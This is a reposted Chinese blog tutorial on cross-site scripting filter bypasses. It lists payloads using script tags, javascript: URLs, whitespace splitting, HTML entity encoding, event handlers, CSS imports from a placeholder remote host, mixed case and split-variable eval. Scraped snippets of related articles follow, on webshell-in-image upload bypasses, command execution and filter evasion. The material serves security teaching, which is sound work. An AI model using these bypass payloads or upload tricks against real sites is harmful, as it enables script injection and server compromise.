【转】XSS构造剖析,绕过过滤的手段

原文 http://www.cnblogs.com/r00tgrok/p/3397683.html

现在假设为了防止XSS攻击写了一个过滤函数,看起来大概是这样:

function filter_xss($string, $allowetags = ‘‘ , $disabledattributes = array(‘onbort‘ , ‘onactive‘ , ‘onunload‘......))
{
    if(is_array(string))
        {
            foreach($string as $key => $val)
                $string[$key] = filter_xss($val, ALLOWED_TAGES);
        }
    else
        {
            $string = preg_replace(......);
         }
    return $string;
}

这个函数的作用实际上就是一个黑名单,用正则表达式对常见的如:‘<‘, ‘‘‘等进行过滤,设计的比较完善,但是仍不能确保万无一失,原因见下文:

先看一下假设我要攻,我能采取哪些措施:

no.1 利用<>标记注射Html/Javascript

  如果用户能随心所欲引入<>标记,那他就能操作HTML标记,然后就能通过<script>标签插入JS恶意脚本了,例如:

  <script>alert(‘XSS‘);</script>

  当然如果对"<>"和script等进行了过滤,上面这个就无法执行了

no.2 利用HTML标签属性值执行XSS

  很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:

  <img src = "javascript:alert(‘xss‘);">

  这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)

no.3 空格/回车/Tab

  假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

  <img src = "java  script:alert(‘xss‘);" width=100>

  这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

  而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号

  像<img src = "javas

    cript:

    alert(/xss/); width=100> 同样能绕过

no.4 对标签属性值进行转码

  过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

  常见的编码方式有:HTML实体编码(&#ASCII),十进制、十六进制、八进制编码,unicode编码及escape编码及使用String.fromCharCode(...)绕过

  因此<img src = "javascript&#116&#alert(/xss/);">可以实现绕过

  另外还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方

no.5 产生自己的事件  

  如果不能依靠属性进行跨站,那么还可以利用事件处理函数

  <input type = "button"  value = "click me" onclick="alert(‘click me‘)" />

  事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数

no.6 利用CSS跨站剖析

  之所以说CSS样式表是个很不错的载体,是因为CSS不需要嵌入到HTML代码中,可以直接从文件或其他地方进行引用. 另外CSS同样隐蔽、灵活,不过不同

  浏览器之间不能通用,如:

  <div style = "list-style-image:url(javascript:alert(‘xSS‘))">

  <link rel = "stylesheet" href = "http://www.xxx.com/atack.css">

  <style type = ‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>

  <style>@import ‘javascript:alert(‘xss‘);‘</style>

no.7 扰乱过滤规则

  大小写混用:<iMg SRC = "JavaScript:alert(0);">

  不使用引号或者构造全角字符也能扰乱过滤规则

  还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

  <img src = "java/*javascript:alert(‘xss‘)*/script:alert(1);">

no.8 充分使用字符编码

  上面说到过编码,这里加以补充,除了像&#ASCII,其实也可以采用&#0、&#00、&#000等形式,同样&#x6a的形式也是可以的

  <script>eval("\61\6c\65......");<script>

  如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

no.9 拆分跨站法

  拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:

  <script>z=‘document.‘</script>

  <script>z=+‘write‘("‘</script>

  <script>z=z+‘<script‘</script>

  ......

  <script>eval(z)</script>

  另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过

  长度限制了

时间: 2024-08-26 00:18:51

【转】XSS构造剖析,绕过过滤的手段的相关文章

《xss跨站脚本剖析与防御》实验笔记

1.书籍<xss跨站脚本剖析与防御>上介绍的xss测试代码 <img src="javascrpt:alert('xss');">, <table background="javascrpt:alert(/xss/)"></table> 已经不能在多大数的浏览器上弹窗成功了 测试xss漏洞尽量改变习惯使用 <img src=1 oneRroR=alert(/XSS/)> <img src=1 oneR

XSS编码与绕过

 XSS编码与绕过 0x00 背景 对于了解web安全的朋友来说,都知道XSS这种漏洞,其危害性不用强调了.一般对于该漏洞的防护有两个思路:一是过滤敏感字符,诸如[<,>,script,(,']等,另一种是对敏感字符进行html编码,诸如php中的htmlspecialchars()函数. 一般情况,正确实施这两种方案之一就可以有效防御XSS漏洞了.但其实也会有一些场景,即使实施了这两种方案,攻击者也可以绕过防护,导致XSS漏洞被利用. 0x01 绕过场景 下面主要是参考文章http://ww

XSS构造解析

1.绕过过滤 a.利用<>标记注入HTML/JavaScript <script>alert('xss');</script>:所以过滤的就是<>或<script> b.利用html标签属性执行xss:这是因为html标记的属性都支持javascript:[code]: <table background="javascript:alert(/xss/)"></table>   我测试没通过,需要低版本

PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数

XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function is to be a generic function that can be used to parse almost any input and render it XSS safe. For more information on actual XSS attacks, check out h

xss:利用编码特性绕过过滤

编码知识: url编码 当用户提交的表单值中存在url中有特殊功能的字符时(如http://xxx.com/xxx.php?name1=value1&name2=value2中的"&"),需要对其进行url编码,编码格式为%+16进制值.注意:在表单中输入url编码格式的字符只会被作为字符处理而不会解释成url编码,如有需要请在url地址栏中输入.   html实体字符 若html页面存在字符有特殊意义时,为了避免被错误解析,通常以html实体字符的形式显示在html页

上传图片shell绕过过滤的几种方法

一般网站图片上传功能都对文件进行过滤,防止webshelll写入.但不同的程序对过滤也不一样,如何突破过滤继续上传? 本文总结了七种方法,可以突破! 1.文件头+GIF89a法.(php)//这个很好理解,直接在php马最前面写入gif89a,然后上传dama.php 2.使用edjpgcom工具向图片注入代码.(php)//edjpgcom修改,加入php一句话保存为dama.php 3.cmd命令下copy 图片.GIF+shell.php webshell.php (php) //估计和1

8_任意系统命令执行

一.背景介绍 当应用(网络设备例如:家用路由器,DNS服务器等等)需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数.如PHP中的system.exec.shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成任意命令执行攻击.主要以PHP为主介绍命令执行漏洞. 二.漏洞成因 脚本语言(如PHP)优点是简洁.方便,但也伴随着一些问题,如速度慢.无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去web的特殊功

萌新计划 PartⅡ

Part Ⅱ web 9-15 这一部分的题,主要是绕过过滤条件,进行命令执行 0x01 web 9 过滤条件: if(preg_match("/system|exec|highlight/i",$c)){ eval($c); } payload: c=highlight_file('config.php'); 0x02 web 10 过滤条件: if(!preg_match("/system|exec|highlight/i",$c)){ eval($c); }

一个绕过某SRC厂商三处XSS过滤的payload

前言 在某次src的漏洞挖掘过程中,发现了一个payload绕过了三处xss过滤,个人觉得还是挺有意思的,所以记录一下. 从一个被忽略的self xss说起 在某页面信息如下,我决定对回复内容进行xss测试: 插入一个<img/src=1>以后可以看到标签成功解析: 继续深入测试的时候却发现了问题,我们的payload应该是触发了xss防御机制无法提交成功,所以服务器放回501错误. 开始慢慢探测xss filter的规则,首先我们使用<img/src=1>可以,<img/s